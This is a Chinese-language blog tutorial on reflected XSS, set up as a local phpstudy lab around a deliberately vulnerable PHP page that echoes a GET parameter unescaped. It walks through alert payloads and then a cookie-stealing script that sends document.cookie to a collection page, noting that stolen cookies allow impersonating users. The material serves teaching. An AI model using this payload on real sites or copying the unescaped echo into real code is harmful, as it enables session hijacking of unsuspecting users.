web安全之xss跨站脚本攻击

实验(一)
一、预备知识
1、HTML基础知识
2、phpstudy运用
3、xss的分类
 
二、实验环境
1、火狐浏览器、Chrome浏览器
2、phpstudy
 
三、环境搭建
反射型xss环境搭建
 
1、源码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>反射型XSS测试</title>
</head>
<form action="" method="get">
<input type="text" name="msg"/>
<input type="submit" value="submit"/>
</form>
 
<?php
if(isset($_GET['msg']) && $_GET['msg'] != '') {
echo '您输入的内容为:' . $_GET['msg'];
}
 
2、将文件类型保存为.php并放入phpstudy中---具体操作点击链接
 
四、实验步骤
  正常情况下,用户只会输入一些普通字符,也就是数字、字母或者中文,所以,不会有什么安全问题。
 1、首先打开本次实验的页面,localhost/1.php,随便输入一些普通字符测试,我输入的内容为“中国奥运加油”。
然后点击submit,提交数据,会直接输出我们输入的内容,注意这里使用的是GET方法传参
 
2、我们输入<script>alert(1)</script>测试,测试XSS最常用的就是<script>alert(1)</script>,如果页面存在XSS,那么就会弹出“1”这个字符。
 
3、  点击确定,发现您输入的内容后面没有任何显示,在页面鼠标右击,选择查看页面源码,可以看到我们输入的内容确实输出了。
但没有显示出来,why???
因为我们输入的数据被当成了代码来执行,如何确定我们输入的数据是否被浏览器当成代码解析了呢? 一查看我们输入的标签的字体的颜色,如果是深紫色,则代表它被当成了代码来解析。
像这种获取了用户的输入后,直接就在页面输出,没有经过数据库的XSS,就称为反射型XSS,他只是简单地把用户输入的数据“反射”了。所以,要触发这种XSS,用户必须访问特定的链接。而且代码会直接显示在浏览器地址栏,很明显,所以反射型XSS比较容易发现,而且现在的浏览器一般都带有XSS过滤器。比如Chrome。
 4、我们可以输入其他的JS代码,来让浏览器做其他的事,比如弹出用户cookie,在输入框中输入<script>alert(document.cookie)</script>,其中document.cookie可以用来获取用户的cookie。提交后发现弹出窗口中内容为空白
 
 
 
 5、修改该页面源码,当访问页面的时候,设置一下cookie,并启用session
 
6、在访问该页面的时候,就会设置一个cookie,名称为username,值为xssuser,还会产生一个session。session同样用来识别用户身份,只是session是服务端维护,不是保存在客户端,我们不需要知道session的值具体含义。保存后再次访问该页面,重复上面的步骤,就会弹出新设置的cookie。
    上面的语句只能弹出用户的cookie,我们如何通过XSS得到用户的cookie呢?毕竟如果只是弹出的话,只有访问该页面的人才能看到,而我们是看不到的。
     我们可以通过JS,构造一个请求,来请求一个我们有权限的页面,在构造请求的时候,把用户的cookie当作参数传过去,然后我们就可以在这个页面里,接收传过来的参数,然后再保存起来。所以首先需要写一个接收cookie的页面,它能够接收某个参数,然后保存起来。页面写好保存在c:\wamp\www\xss\的目录 25.php这个文件就是用来接收cookie并保存的,源码如下:
 
     
 
7、输入语句<script>new Image().src="http://localhost/1.php/25.php?msg="+encodeURI(document.cookie);</script> 然后点击submit,然后进入C:\wamp\www\xss目录,打开cookies.txt,就可以看到当前访问http://xss.com/xss-ref.php这个页面的人的cookie。
  这样就拿到了用户的cookie,拿到cookie后,我们就可以替换cookie来冒充其他人的身份,来做一些恶意操作。
 
 
 
 
 
 
 
 
 
 
 
 


posted @ 2021-08-01 16:02  whoami_x0  阅读(213)  评论(0)    收藏  举报